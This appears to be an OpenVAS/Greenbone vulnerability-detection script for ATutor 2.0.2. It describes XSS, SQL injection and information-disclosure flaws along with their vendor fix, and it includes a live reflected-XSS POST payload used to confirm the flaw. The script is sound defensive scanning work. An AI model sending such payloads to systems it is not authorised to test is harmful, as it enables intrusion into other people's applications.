Atutor Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:atutor:atutor";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902728");
  script_version("2025-03-05T05:38:52+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:52 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-09-22 10:24:03 +0200 (Thu, 22 Sep 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_name("Atutor Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17631/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49057");
  script_xref(name:"URL", value:"http://securityreason.com/wlb_show/WLB-2011080041");
  script_xref(name:"URL", value:"http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5037.php");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/103765/ZSL-2011-5037.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_atutor_detect.nasl");
  script_mandatory_keys("atutor/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will let attackers to execute arbitrary
  script code or to compromise the application, access or modify data, or exploit
  latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"ATutor version 2.0.2");

  script_tag(name:"insight", value:"Multiple flaws are due to an:

  - Input passed to the 'lang' parameter in '/documentation/index_list.php' is
  not properly sanitised before being returned to the user.

  - Input passed to the 'p_course', 'name' and 'value' parameters in
  '/mods/_standard/social/set_prefs.php' scripts is not properly sanitised
  before being used in SQL queries.

  - Input passed via the 'search_friends_HASH' POST parameter, where HASH is
  the value generated by the 'rand_key' parameter, to the
  '/mods/_standard/social/index_public.php' script is not properly sanitised
  before being returned to the user.");

  script_tag(name:"solution", value:"Upgrade to ATutor version 2.0.3 or later.");

  script_tag(name:"summary", value:"Atutor is prone to information disclosure, SQL injection, and cross site scripting vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

rand = rand();
xss = 'search_friends_' + rand + '=1>"><script>alert(1)</script>&search=Search&rand_key=' + rand;
filename = dir + "/mods/_standard/social/index_public.php";
headers = make_array("Content-Type", "application/x-www-form-urlencoded");

req = http_post_put_req(port: port, url: filename, data: xss, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.. 200" && '"><script>alert(1)</script>' >< res) {
  report = "It was possible to conduct an XSS attack at " +
           http_report_vuln_url(port: port, url: filename, url_only: TRUE) + '\n\nRequest:\n' + req;
  security_message(port: port, data: report);
  exit(0);
}

exit(99);